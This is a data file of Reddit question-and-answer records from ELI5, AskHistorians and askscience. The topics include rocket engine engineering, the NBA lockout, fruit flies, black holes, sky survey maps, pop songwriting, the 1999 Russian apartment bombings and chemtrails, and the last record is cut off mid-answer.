{"q_id": "7xi5lo", "title": "visually, rocket engines look simple to design, so why are they so difficult to produce?", "selftext": "Looking at pictures of rocket engines there doesn't seem to be too much to them, but given that companies/states are still using those produced decades ago, one would imagine they're not that simple at all. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7xi5lo/eli5_visually_rocket_engines_look_simple_to/", "answers": {"a_id": ["du8ej0a", "du8f406", "du8h94w", "du8hx4x", "du8oa73", "du8ozjm", "du8qbdd", "du8r5a3", "du8ry00", "du8tf2f", "du8xmwn", "du9idqk"], "score": [19, 321, 50, 6, 4, 17, 2, 5, 2, 2, 3, 5], "text": ["It\u2019s really an engineering problem: it\u2019s hard to make one that stays in one piece and goes where it\u2019s supposed to.", "Simply put you have thousands of pounds of liquid oxygen and kerosene (or other fuel) arranged in pressurized tanks that are brought into contact and burned at enormous rates.  This creates massive amounts of heat and pressure that has to be directed out the nozzle to produce the thrust of the rocket.  All the while the very combustion is creating massive vibration that is shaking every part of the rocket.  \n\nThus you have to construct a vehicle filled with explosive propellants, that are burned precisely in the right proportions.  The rocket has to be strong enough to withstand the vibrations and also as light as possible to maximize payload. \n\nThe current rockets for the most part were developed after many massive failures and once a working solution was found in a rocket design, then payloads were developed to match the capabilities of the launch vehicles.\n\nProbably the worst such failure was the Soviet Nedelin Disaster....\n\n\n_URL_0_", "Rockets are simple! You need fuel(fuel tank), a way to get the fuel to the place you burn it(turbopump), a place to burn fuel(combustion chamber), and a nozzle for the hot gasses to expand in(the bell)\n\nThe trick is making a combustion chamber that can withstand 20 MPa while at a toasty 3200 C!\n\nThe core principles are simple, building a big rocket engine is much more of a material sciences problem than a fundamental layout challenge", "It's simple to design a working rocket, a rocket that's efficient enough to make it to space is a different story.\n\nYou could just do the math and make an aluminum pipe of sufficient strength, stick a nose cone on it, weld in some plates to mark off the tanks and then build a simple rocket motor and stick it on the end. That's a simple design right there, but I'll tell you right now it won't have the delta-v to make orbit. The cheap way of designing a rocket results in something with the weight of a ship.\n\nTo make an efficient rocket you need to do lots of simulations and lots of studies to determine exactly how much strength you need and where, and then you design the rocket to have just a hair more strength than needed. This is required to get the weight down to the point that you can make orbit without some gigantic rocket.", "Essentially, a rocket is a controlled bomb. \n\nA cat looks like it would be easy to manage because they're cute and small, but have you ever tried giving one a bath?", "There are several problems:\n\n * Pumping: You need lightweight pumps that can move enormous amounts of reactive (and possibly cryogenic) liquid. For large rockets they partially combust the propellants and drive a turbine at high speed with the (hot, reactive) gas, and try to run the pumps off the same shaft (tricky, because of cavitation issues). The pumps and plumbing must be also robust with respect to the motions of the vehicle (unexpected oscillations in the plumbing were part of why the soviet moon rocket N1 failed).\n\n* Combustion Stability: The combustion phenomena are prone to feedback. The injectors need to be designed in such a way as to prevent vibrations from developing and destroying the engine. AFAIK this is very much a trial and error process. This was famously a problem for the V2 and the (Saturn V booster) F1. Basically each time they scaled up the technology.\n\n* Cooling: Good rockets run at absurdly high temperatures and flow rates. The chamber and throat of the engine are usually actively cooled by running propellant through passages in the engine wall. This is an easier problem than the others, with less trial and error involved, but still annoying. IIRC, the fuel for the V2 had to be watered down to be a better coolant, and on the N1 part of the reason the soviets used super-toxic propellants is that the kerosene they had available wouldn't work to cool an engine for prolonged periods.", "Rockets explode. I don't mean \"if something goes wrong\", I mean if everything goes exactly right there's a huge explosion. An explosion that keeps exploding for 10 minutes or more as you add more fuel and oxygen to the continuous ongoing explosion. \n\nAdding the fuels correctly so the explosion continues to explode in exactly the way you want it to is hard. Designing parts that are explosion resistant is hard. Aiming the explosion so that you can steer is hard. Designing complex machinery that doesn't break when experiencing enormous vibrations is hard.", "Partly it's because of how few are produced. Internal combustion engines are also very complex, and designing one that will last work reliably for 100,000+ miles with minimal maintenance, that costs less than $1000, will cope with a wide range of operating conditions and can meet modern fuel efficiency and emissions standards has taken a vast amount of work. Cumulatively, much more than rocket development. Designing a new car engine from scratch is as expensive and difficult as designing a new rocket engine. The difference is that millions of them are made so the development cost is spread over more units.\n\nAs far as I can tell, the cost of a single rocket engine is not particularly high when compared to large aircraft engines. The overall 'difficulty' of making a rocket engine is probably lower. The major difference is that rocket engines are only used once (or sometimes a few times) for a total operating time measured in minutes while aircraft engines operate for many years.\n\nBasically, all engines are difficult. We're just very good at making the common ones so it looks simple. Rocket engines aren't as well developed as car engines or aeroplane engines.", "They have to be as light as possible so everything is minimized and thin as possible. They are handling liquids at -361 degrees F, that heats to 5000 degrees F in a distance of maybe 10 feet.  All combined with intense vibration and very high forces.", "If you're just talking about the basic shape, there's a lot of tiny intricate details not laid out in most diagrams. Like all the electrical, hydraulics, sensors, etc. Also the shape looks simple, but the exact dimensions are hard to determine. The nozzle shape is determined by the airspeed of the rocket exhaust, among other things. The shape allows the flow to be sped up then sped up even more past the choke (thinnest part in the nozzle). Basically when air is supersonic, there's some weird behavior that causes it to speed up when expanded in a shape like the nozzle. To make the dimensions right for this effect to be optimized is difficult and expensive, since not only is it not intuitive, but getting it right the first time is important since you don't want to have to build it again with the right specs.", "The hard pices are not visible: The turbo pumps that deliver the fuel  &  oxidizer look like your cars turbo charger on the Hulks steroids; the \"shower head\" combustion chamber mixer where fuel and oxidizer are injected into the combustion chamber for burning.\n\nThese components and many others are insainly complex do to presurization, metalurgical interactions, thermal gradients...\n\nIt's really, really hard engineering.", "The hardest part would be the turbopump, which has to tolerate extremely high temperatures at one end, and extremely cold temperatures at the other, while spinning extremely fast. It's basically a fuel pump and engine that's several thousand to tens of thousands of horsepower, just pumping fuel into the main combustion chamber. In some designs the hot end is also in a highly corrosive environment(hot oxygen)\n\nThe combustion chamber has to be designed to burn all that fuel and oxidizer uniformly, without melting or corroding.\n\nBasically, the design is relatively simple, but you're really pushing the limits on what the materials are capable of.\n\nYou can make a simple rocket engine in your garage, but making a high performance low weight one is an entirely different beast.\n\n\nIf you want a bit of perspective, the F1 engine on the Saturn V is the size of a car, and its fuel pump alone is something like 50,000 horsepower."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.spacesafetymagazine.com/space-disasters/nedelin-catastrophe/historys-launch-padfailures-nedelin-disaster-part-1/"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "mkxyh", "title": "what's going on with the nba?", "selftext": "When did it start, how, and why? I miss basketball. :(", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mkxyh/whats_going_on_with_the_nba/", "answers": {"a_id": ["c31r1vj", "c31se9e", "c31r1vj", "c31se9e"], "score": [2, 3, 2, 3], "text": ["The Collective Bargaining Agreement between the players and owners ended. They need a new one. \n\nThe NBA doesn't make a ton of money. Many teams reportedly operate in the red. \n\nThe owners want the pay the payers less and have a hard salary cap. \n\nThe players want more money and a soft salary cap. \n\nBasically almost the same shit that went on with the NFL. ", "Some NBA owners are terrible businessmen who negotiate contracts they can't afford to pay.  The rest of the league can't tell them to fix it themselves, because as soon as they stop operating as a single entity they lose anti-trust protection.  As a result, the league has to protect the mismanaged teams.  They chose to lock out the players and try for a bigger slice of the pie.\n\nThe difference between the NBA and the NFL lockouts is that in the case of basketball, its now the second or third most popular sport in the world.  This gives the players enormous leverage, as a majority of them can find work overseas.  And remember, the players want to play, its the owners that locked the doors.  That's why you don't see the players chomping at the bit to compromise.  The lockout hurts the owners more than the players, and eventually they're going to need to generate revenue outside of jersey sales.", "The Collective Bargaining Agreement between the players and owners ended. They need a new one. \n\nThe NBA doesn't make a ton of money. Many teams reportedly operate in the red. \n\nThe owners want the pay the payers less and have a hard salary cap. \n\nThe players want more money and a soft salary cap. \n\nBasically almost the same shit that went on with the NFL. ", "Some NBA owners are terrible businessmen who negotiate contracts they can't afford to pay.  The rest of the league can't tell them to fix it themselves, because as soon as they stop operating as a single entity they lose anti-trust protection.  As a result, the league has to protect the mismanaged teams.  They chose to lock out the players and try for a bigger slice of the pie.\n\nThe difference between the NBA and the NFL lockouts is that in the case of basketball, its now the second or third most popular sport in the world.  This gives the players enormous leverage, as a majority of them can find work overseas.  And remember, the players want to play, its the owners that locked the doors.  That's why you don't see the players chomping at the bit to compromise.  The lockout hurts the owners more than the players, and eventually they're going to need to generate revenue outside of jersey sales."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3ayzx6", "title": "how do gnats just \"appear\" in my house overnight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3ayzx6/eli5_how_do_gnats_just_appear_in_my_house/", "answers": {"a_id": ["csh8whz", "cshh2iu"], "score": [10, 3], "text": ["Could be fruit flies. They lay their eggs on soft spots on fruit, which you may then take into your home, where they hatch. If you have a lot of fruit about, they may then subsequently lay more eggs on more of your fruit, and you wind up with a pest. ", "As u/stuthulhu pointed out, they're most likely fruit flies. Gnats are pretty small, whereas fruit flies are pretty noticeable. To help prevent them, wash any/all fruit that you buy. I put mine in a colander and rinse it for a good 30 seconds under cold running water. If you notice them near your drain you can also dump boiling water down it, which will kill any eggs that have gotten laid there.\n\nTo get rid of hatched flies, fill a jar with a bit of apple cider vinegar, add a drop or two of liquid dish soap, and set it out on the counter for a couple hours. They'll be attracted, but the soap will alter the surface tension, trapping them. You can try adding a lid with some holes, or some plastic wrap with holes, but I've never needed to. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2841q3", "title": "WW2 historians: Did Hitler truly believe a war on two fronts (England and Russia) was feasible?", "selftext": "I know some of his generals warned him about this, but how did Hitler expect to beat Russia when they haven't finished off England yet?   ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2841q3/ww2_historians_did_hitler_truly_believe_a_war_on/", "answers": {"a_id": ["ci7mbb1"], "score": [3], "text": ["Knowing exactly what anyone truly believes involves conjecture.  People are actually capable of believing contradictory things and switching back and forth between those things within hours or minutes.  For an excellent example of this human tendency, see George Collier's *Socialists of Rural Andalusia,* 1987, Stanford University Press.  For more on how to assess beliefs (and how difficult it is to do so) see Clifford Geertz's Interpretation of Cultures (especially chapters 1-2).\n\nHistorians can tell you what documents say about what Hitler probably knew or was aware of; I know of no way for *anyone* to state what someone else truly believes.  I have my own analytic standards for discussing beliefs, but Hitler isn't available as a subject to study (I study belief in living people).  \n\nSo, I don't think *anyone* can say what someone *truly* believes (under certain circumstances, people form and unform beliefs very rapidly).  \n\nIf you're asking for the opinion of a group of WW2 historians and want only those who have published in the area to respond with their opinions, that should be interesting.  As someone who has studied (and published) on World War 2 (from an anthropological perspective), I can say that Hitler may or may not have looked at things from the point of view of \"feasibility.\"  I believe he felt he had something amount to a divine right to conquer Europe and actively kept his mind from incorporating information that might change his own mind.  In other words, he data sorted.  What did he think in the middle of the night?  No one knows.  Denial is a handy tool of the human mind, especially when beliefs are strongly held but challenged by thorny aspects of reality.  \n\nHitler, in my view, had a complex (and somewhat addled) view about what warfare could accomplish (and had accomplished) historically.  He was no Augustus.  \n\nI have no idea if anyone has written a psycho-biography of Hitler along these lines.  Any psycho-historians out there? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "nxhpa", "title": "What happens when a proton falls into a black hole?", "selftext": "I read that inside a black hole's event horizon, all paths lead to the singularity. If that's true, does a black hole tear apart protons? If the down quark of a proton is a bit closer to the event horizon, for example, would the up quarks still be able to interact with it, since its location is now in their past?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nxhpa/what_happens_when_a_proton_falls_into_a_black_hole/", "answers": {"a_id": ["c3cpr83", "c3cpr83"], "score": [12, 12], "text": ["The event horizon of a stellar mass or larger black hole is completely unremarkable from the perspective of an infalling proton. \n\nSince the size of the proton is so small, ~ 10^-15 m, it would not experience tidal forces great enough to change the structure of the proton or pull it apart. \n\nThis might be compared to an astronaut falling through the event horizion of a supermassive black hole, who would experience nothing out of the ordinary and would only be pulled apart or 'spaghettified' a few minutes later.\n\nWhat happens to a proton as it approaches the hypothetical singularity cannot be accurately predicted without a quantum theory of gravity. To my knowledge, there has not been such a theory that can be shown to reproduce current particle physics, much less yield concrete testable predictions.", "The event horizon of a stellar mass or larger black hole is completely unremarkable from the perspective of an infalling proton. \n\nSince the size of the proton is so small, ~ 10^-15 m, it would not experience tidal forces great enough to change the structure of the proton or pull it apart. \n\nThis might be compared to an astronaut falling through the event horizion of a supermassive black hole, who would experience nothing out of the ordinary and would only be pulled apart or 'spaghettified' a few minutes later.\n\nWhat happens to a proton as it approaches the hypothetical singularity cannot be accurately predicted without a quantum theory of gravity. To my knowledge, there has not been such a theory that can be shown to reproduce current particle physics, much less yield concrete testable predictions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "pgfrb", "title": "Why do 3D models of the universe look like an hourglass?", "selftext": "In programs like Celestia and Galaxy Explorer, the visible universe is hourglass shaped [like this.](_URL_0_)\nDoes the universe really look like this, or is it just a distorted vision of how we see it from earth, or what? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pgfrb/why_do_3d_models_of_the_universe_look_like_an/", "answers": {"a_id": ["c3p5mp2", "c3p6on4", "c3p85sv", "c3p9vmk", "c3pbiiy", "c3pctg1", "c3pdza0"], "score": [1108, 37, 28, 2, 8, 4, 3], "text": ["Because we can't see very far in the direction of the galactic plane, because the Milky Way blocks our view.", "Interesting! [These](_URL_0_) are the only models I have ever seen. I wonder what the differences are.", "Things that other commenters have said are correct (iorgfeflkd). Deep surveys of galaxies and clusters of galaxies take a lot of observing time as well. Hence, the large and deeps surveys only look at certain portions of the sky. A couple main examples are the [Sloan Digital Sky Survey \\(SDSS\\)](_URL_1_) and the [2-degree Field \\(2dF\\)](_URL_0_) survey.\n\nThe specific image you link is from SDSS which has only mapped 35% of the sky. The surveys look at the North and South galactic poles since the rest of the Milky Way blocks our view otherwise. Hence the hourglass shape.\n\nThe image posted by vasion is from a numerical N-body simulation of the evolution of the universe. Hence it can be modelled as a cubical volume and each point in that image is a galaxy (like the OP's linked image).", "Here is a pretty good representation of the hourglass shape, with actual units for the diagram and an explanation:  _URL_0_", "because the areas that are shown as \"empty\" are just the areas that fall behind the disc of the milky way galaxy\n\nwe can only see \"up/down\" from the milky way disc, which produces the shape you posted\n\none obvious give-away of this is that \n\n1. we aren't at the center of the universe \n\nbut\n\n2. the earth is at the center of the picture you posted", "That a 3D plot of the Sloan Digital Sky Survey (their 3rd data release, I think.) The survey measures the distance to galaxies and quasars by taken spectra and measuring the redshift of absorption lines the the stars of those galaxies. Since the telescope used in the survey is in the northern hemisphere (in New Mexico) the entire sky is not visible, so that limits the coverage of the detector. As other people have said, our Milky Way gets in the way too, so that further reduces the sample. The survey is still ongoing (_URL_0_), so it should be possible to build a more complete map than the one that you have. ", "if the milky way is blocking our view of the rest of the universe...how come the spots obscured by the milky way are black? shouldn't it be saturated with stars from the milky way? or were the photos taken in a way that excluded the milky way region? sorry, honest question, don't mean to sound stupid."]}, "title_urls": [], "selftext_urls": ["http://www.sdss.jhu.edu/~tamas/bytes/screens/gex_ss.jpg"], "answers_urls": [[], ["http://3.bp.blogspot.com/_FqXD7nfEOzk/ScMbUjRTb5I/AAAAAAAAC6I/mtTBEnF8MpM/s400/Computer+universe+simulation+1062_web.jpg"], ["http://en.wikipedia.org/wiki/2dF_Galaxy_Redshift_Survey", "http://en.wikipedia.org/wiki/Sloan_Digital_Sky_Survey"], ["http://www.astr.ua.edu/keel/galaxies/largescale.html"], [], ["http://www.sdss3.org/"], []]}
{"q_id": "4a9zz7", "title": "why do many of pop music's biggest names (rihanna, katy perry, and jason derulo) need a group of writers and producers for each song, even though their songs are so simple, lyrically and musically?", "selftext": "It feels like the lyrics to most of their songs could be written by a single person. And the beats, too.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4a9zz7/eli5_why_do_many_of_pop_musics_biggest_names/", "answers": {"a_id": ["d0yl23o", "d0yllgb", "d0ylrri", "d0ym03n", "d0ymim4", "d0yx03h", "d0yzpfb", "d0z03nn", "d0z3ukv", "d0z91h6", "d0zlrrk"], "score": [13, 51, 23, 12, 28, 2, 3, 2, 2, 2, 2], "text": ["Writers and producers know that simple, catchy songs will get the most plays, so it probably takes multiple people to come up with the \"perfect\" catchy song. ", "Today's pop hits are constructed. Separate elements put together to create a whole. One guy does the beats, one guy sorts out the sample, one guy does the main melody, another person might chip in with an idea for the lyrics, Rihanna herself might be responsible for the main body of words and another person will probably be doing the vocal melody lines. And a rapper might be involved, so he'll be writing the rhymes. That hypothetical track alone already has seven co-writers. ", "If these pop songs are so simple, why doesn't everyone write one? \n\nThe truth is they're not that simple. Song writers and producers are experts in their fields, but also experts in 'what the public wants'. And let's face it - even the public doesn't know what they want so it's a very difficult thing to understand where to take the next number one hit. \n\nIt takes several writers/producers/people to understand the complexity of this. And where one writer will have one opinion on what sound or lyric is gonna be popular, another writer will have a contrasting view that they will work together on. The compromise of which produces a top ten pop song for the right person to sing and perform. \n\nSource: I work in radio and have shitty pop music streamed into my ears so damn often that I've asked this same question to producers before now. ", "They seem simple, but they are not. The secrets behind infectious pop songs is a mystery only a handful of people know. [Lou Pearlman](_URL_0_) was the producer/manager of Backstreet Boys, NSYNC, O-Town, LFO, Take 5, Natural, US5, Jordan Knight, Aaron Carter, Smilez and Southstar, C-Note, Marshall Dyllon, and Innosense. Their music is crap, all sounds the same, and each did better than almost every boy band act ever made. The music is the end result of complicated understandings of economics and human behavior. ", "The best answer is that \"simple\" is not necessarily \"easy\". Simple, effective songwriting is a very honed skill.", "See oldmotherhell's comment. \nIt's also worth noting that a song might get bounced to different artists and producers before ever being recorded. Writer 1 writes the song but then executive whoever thinks it's not right and then sends it to writer 2, or producer A moves to a different project and then producer B does some work. Suddenly you've a bunch more people you may need to credit. ", "The songs aren't really \"simple\". Sure, they may have a typical verse-chorus-verse-chorus-bridge-chorus formula, but if you listen closely to the instrumental tracks, there's usually a LOT going on, arguably more than you would find in a regular 4-piece rock band, and almost certainly more than a 3-piece. \n\nAnd keep in mind that when it comes to the big names in music (Bieber, Beyonc\u00e9, etc.), it's expected that there will be a large return on investment, so labels are more willing to throw large amounts of money into the recording process. And if you're talking big money, you can bet your ass there's going to be more hands in the pot to ensure that it's a quality (i.e. lucrative) product.", "\"their songs are so simple, lyrically and **musically**\"\n\nNot really. These songs require a whole team of producers/audio engineers doing the mixing, mastering, and all the different components of the song.\n\n", "Even though you might see it as structurally very simple - and it is, for good reason - it needs to be tweaked and rewritten in order to have mass appeal. You hire a few guys who have been working in the music industry for awhile and they can almost guarantee you a hit. Or maybe you like a song someone else has written so you buy it and tweak it to better fit your style.\n\nWhen it comes to commercialization, nothing is so simple. It has to be tweaked and edited in order to appeal to as many demographics as possible while being so catchy you can't stop singing it for the next 10 years. \n\nSome writers are brought in based on their previous works. Maybe you liked a song written by one guy for Beyonce, but you also like the repetition in another song written by a different guy for Rihanna, so you get them working together. You know of a producer who's been the staple behind every pop hit since 1988 so you have him produce, but his work sounds too dated so you have another producer who just got 5 hits nominated at the Grammys to work with him.\n\nAppeal, appeal, appeal. You have to create a unique sound for yourself so that you don't have the pop country mistake of every female pop country artist either sounding like Miranda Lambert or Carrie Underwood, but you also need to sound as inoffensive and experiment less as possible in order to build a fan base.\n\nFurthermore, a lot of the politics behind pop writing is decided by your record label using complicated systems of credits, multiple contracts, deals, etc. If you're Beyonce sure, you might be able to do whatever you'd like because you're a veteran. But even established artists who might come from country radio or rap radio with what a label sees as crossover appeal will be coerced into working with dinosaurs like Max Martin in order to cement a total crossover into top 40 rather than the occasional pop remix or feature.\n\nTl;dr mass appeal and music label politics", "The ELi5 is: Because they need it.\n\nA house is fairly simple. Four walls, a roof, a door and optional windows.  \nTo build one is a bit more complicated, so you get a builder in. He'll work out what you want based on your demand, and come up with a plan. \n\nHe gets in an expert in bricklaying, woodwork, electrics and a few others. he might know a bit about each one, but its better to get the pro. Each of those pros may have an assistant or team of assistants.  \n\nSo the house gets built, and you thank/pay the builder you hired. All he did was oversee the project and was the face of your house-building - but it matters little to you. You have a home now :)  \n\nSongs are much the same, but a huge role are the market advisors. They have a good idea of what is popular, and the direction the music is going and can work out what sort of thing will sell better, while keeping in the singer or performers style.  \nRight now, simple repetitive lyrics sell.   \n\nIf it seems easy to you, then get writing - Make up some beats and lyrics, and get a local performer to use them! You may have found your calling :p\n\n", "\"Birthday Cake\"\n(Album Version)\n\nCome and put your name on it\nPut your name on it\nCome and put your name on it\nYour name\nBet you wanna put your name on it\nPut your name on it\nCome and put your name on it\nBa-ba-baby\n\nIt's not even my birthday\nBut he want to lick the icing off\nI know you want it in the worst way\nCan't wait to blow my candles out\n\nHe want that cake, cake,\nCake, cake, cake, cake, cake\nCake, cake, cake, cake, cake\nCake, cake, cake\n\nOoh baby, I like it\nYou so excited\nDon't try to hide it\nI'mma make you my bitch\nCake, cake, cake, cake\nCake, cake, cake, cake\nCake, cake, cake, cake\nCake, cake, cake\n\nI know you wanna bite this\nIts so enticin'\nNothin' else like this\nI'mma make you my bitch\n\nAnd it's not even my birthday\nBut you wanna put your name on it\nAnd it's not even my birthday\nAnd he tryna put his name on it\nOooh, I wanna fuck you right now\nJust get up on my body...\n\n\nThat type of eloquence doesn't write itself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Lou_Pearlman"], [], [], [], [], [], [], []]}
{"q_id": "ae5qup", "title": "Russian apartment bombings, 1999: I have read that the \"apartment bombings\" that occured between September 4-16, 1999 may have been orchestrated by the Russian government. Is this a theory supported by evidence or a conspiracy like those surrounding 9/11 etc?", "selftext": "The Wikipedia article mentions a botched bomb job at one apartment complex, Russian politicians discussing bombings before they happened and \"suspicious\" deaths amongst people connected to the investigation into the bombings. I am very curious as to whether or not these bombings can be convincingly described as \"false flag\" operations by the Russian Government, what the current state of the evidence is etc.\n\n\nMods, please remove this if it breaks the Askhistorians rules, as I understand anything related to 1999 is fair game. (Even though the bombings are 'technically' 19.5 years in the past)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ae5qup/russian_apartment_bombings_1999_i_have_read_that/", "answers": {"a_id": ["edn2wus", "ednto8l"], "score": [80, 491], "text": ["Hey all,\n\nIf you frequent the sub, you know the drill. If you're here from /r/all, or browse only occasionally, please be aware we have strict rules here intended to enforce the very high bar we expect from comments, so before posting, please read our [rules](/r/AskHistorians/wiki/rules). We remove comments which don't comply, and consider everyone forewarned. If you have feedback or commentary about how things are run here, please don't post it in this thread. We'll just remove it. We love to hear thoughtful, constructive feedback via [modmail](_URL_2_) however.\n\nIt can take time for [an answer to show up](/r/AskHistorians/comments/7s66yf/a_statistical_look_at_askhistorians_in_2017_part_i/), so we thank you for your patience. If you want to be reminded to come check back later, or simply find other great content to read while you wait, [this thread](/r/AskHistorians/comments/8p0s9b/roundtable_21_be_kindremind_the_mod_approved/) provides a guide to a number of ways to do so, including the RemindMeBot- [**Click Here to Subscribe**](_URL_1_) - or\nour [Twitter](_URL_0_).\n\nAgain though, please remember the rules, and keep them in mind while you browse. If you don't like how this subreddit is run, keep in mind that this method has seen us continue to succeed and grow for years, and isn't going to change, so at least try and make your complaint original. /r/AskHistory exists, so complaining about the rules to us is like going into a fancy restaurant to complain they don't sell chicken nuggets, even though Chick-fil-A is nextdoor.\n\nAs a general, META addendum: The 20 year rule applies to the whole year, it isn't on a rolling basis. Dec. 31 of 1999 was fair game the moment Jan. 1 hit, so don't worry 'bout that OP.", "I believe the incident you are discussing is the Ryazan Incident. The reporter David Satter notably believes that the bombings were orchestrated by the FSB partly to drum up support for Putin to take over from Yeltsin, who was at the time potentially facing prosecution. In *Darkness at Dawn*, Satter recounts the incident at length, which I've tried to condense here. I find his account of the incident itself fairly credible as it draws on Russian contemporary reportage to make its case. If Ryazan was in fact planned by the FSB, it would be highly likely that the earlier bombings were also carried out at their behest, so I will focus on this single incident.\n\nOn Sept 22 1999 at 8:30 PM, residents of 14/16 Novosyelov Street noticed suspicious looking people in front of the building. It took about an hour for police to arrive at the scene, where they found a bomb. The bomb squad stated that there were sacks of hexogen, the same explosive used in previous apartment bombings, as well as a sophisticated military-style detonator. The building was evacuated. \n\nPolice began to search for the suspects. Railroads and airports were crawling with police searching for the perpetrators and roadblocks were set up on the highways leaving the city. The police obtained descriptions of the suspects and made composite sketches. They were also able to discover the Lada that they had driven off in. The evening of Sept 23, a switchboard operator connecting a call to Moscow overheard a few suspicious lines.\n\n > The caller said there was no way to get out of town undetected. The voice on the other end replied, \"Split up and each of you make your own way out.\"\n\nThe police found traced the number and discovered it led them to the FSB. Soon enough, the Ryazan police arrested two suspects, who produced FSB documentation and were released. Two days after the incident on Sept 24, FSB director Nikolai Patrushev stated that the entire incident had been a training exercise. While the bomb squad had supposedly discovered sacks of hexogen, the sacks were in fact just sugar and the bomb squad gas analyzer's reading of hexogen had been due to operator error. This denial apparently completely blindsided the Ryazan FSB, which had been preparing to raid the Ryazan residences of the suspects. The press spokesman for the Ryazan FSB, Yuri Bludov, later stated that he was unaware of the exercise until Patrushev's statement.\n\nVoloshin, a reporter for the Novaya Gazeta, interviewed the Ryazan bomb squad head Tkachenko in February the next year. In their interview, Tkachenko insisted that he had made no mistakes in handling the gas analyzer. In particular, FSB spokesman Alexander Zdanovich's claim that they had not cleaned it properly with alcohol was patently ridiculous - according to Tkachenko, \"alcohol is never used to clean a gas analyzer.\" In addition, Zdanovich had claimed that it was picking up trace amounts of hexogen because Tkachenko had handled it a week earlier, an explanation for the faulty reading that would require Tkachenko to have not washed his hands for an entire week, which he unsurprisingly denied.\n\nAfter publishing his findings (\"Sugar or Hexogen? What happened in Ryazan.\" in the Feb 14-20 issue of Novaya Gazeta), Voloshin went on to interview a soldier named Alexei Pinyaev. According to Pinyaev, he had been assigned to guard sacks of sugar at the 137th Ryazan Paratroop Regiment, which was 20 miles from Ryazan. Supposedly Pinyaev and another guard had pierced one of the bags with a bayonet and used the \"sugar\" to make tea, which was disgusting. Thinking that they might have consumed nitrates, they took their bag to their commander, who had a bomb expert inspect the sample. After testing, he confirmed that the substance was hexogen. Soon FSB officers arrived from Moscow and the two guards were berated for \"divulging state secrets\", as opposed to simply stealing sugar.\n\nVoloshin's reporting caused an uproar but a vote in the Duma to carry out an investigation was defeated by Unity, Yeltsin and Putin's political party. However, the FSB had lost enough face that they arranged a televised meeting with the building residents, which only raised more suspicion. In particular, the FSB representatives insisted that the earlier apartment bombings would not be discussed as a condition for their participation. \n\nThe commander of the Ryazan base, Colonel Churilov, stated during the broadcast that there was no such soldier as Pinyaev serving there. However, Voloshin was sitting in the audience and played a tape of his interview and showed the audience photographs of Pinyaev. Residents also questioned why the training exercise was carried out without informing the MVD (Ministry of Internal Affairs), which was supposed to be taking the lead on the terrorism investigation, and the local FSB until two days after the incident.\n\nTaken altogether, the circumstances of the event do seem suspicious. Many Russian experts on military and policing affairs noted at the time that even the most extreme exercises in the army and police were carefully planned with emergency services ready to deal with any unexpected events - a far cry from the chaos of Sept 22, which saw mass evacuations in the neighbourhood that left almost 30 000 people to spend the night in the street, terrified that their building might also have a bomb in the basement. In particular, the lack of notice given to the local FSB as well as the MVD suggests that the two day delay was, as one of the participants in the televised meeting claimed, a break for the FSB to invent an excuse for planting a bomb in an apartment building. The idea that the population needed to be more rather than less vigilant also seems questionable - between the 13th and 22nd, Ryazan police had responded to over forty bomb reports from citizens. In addition, the Ryazan apartment shared many characteristics to the Buinaksk, Moscow, and Vologdonsk apartments that were bombed in that it was also located in an \"outlying working-class area\". \n\nThe FSB has never allowed the material evidence (the bomb) to be examined by any outside sources, which makes it impossible to say with absolute certainty that the exercise was a fabrication to cover up an attempted terrorist attack. Former FSB officer Alexander Litvinenko stated that the bombings were carried out by the FSB before he died of plutonium poisoning in 2006, an incident that western reportage largely places as being an assassination carried out by the Russian security services. The accusation that the bombings were carried out by the FSB has a few other supporters in Western academia - in her book *Putin's Kleptocracy*, Karen Dawisha seems to find it self-evident that the Ryazan incident proves the FSB was behind all the apartment buildings that summer. However, the problem remains that the actual evidence involved was placed under FSB control and there is no way to prove beyond a doubt that the device in Ryazan was in fact a bomb. Of course, some would argue that the FSB's refusal to have a third party inspect the Ryazan device is in itself strong evidence that it was their bomb."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://twitter.com/askhistorians", "https://www.reddit.com/message/compose/?to=RemindMeBot&amp;subject=Reminder&amp;message=%5Bhttp%3A%2F%2FLINK-HERE%2F%5D%0A%0ARemindMe!++2+days", "http://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians&amp;subject=Question%20Regarding%20Rules"], []]}
{"q_id": "1aj8rz", "title": "what is really causing the so called \"chem-trails\"?", "selftext": "I am always hearing about this and seeing them myself but can't quite believe the government is spraying us with chemicals.  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1aj8rz/eli5_what_is_really_causing_the_so_called/", "answers": {"a_id": ["c8yjlkk", "c8yjnyh", "c8yjrsl", "c8yks0r"], "score": [5, 8, 3, 2], "text": ["Jet exhaust makes them in certain circumstances. There's no reason for a conspiracy.", "they're contrails, it's just planes causing condensation in the air when they move through it.  No need for ridiculous conspiracies, just rudimentary knowledge of science.\n", "Because the government is not spraying chemicals. It's a silly theory. Do you realize all the people who'd have to be silenced across the country and world? The people manufacturing the chemicals, the people transporting the chemicals, the people receiving the chemicals, the people loading the chemicals on the planes, the pilots who flip the \"spray chemicals\" switch in the cockpits. That's way too many low level workers to pay off. Pretty sure there'd have been quite a few chemtrail chemical spills at airports. The people working with the chemicals daily would be getting ill at crazy rates. Of course there are conspiratard counter arguments for everything I've said... So really it's up to you to 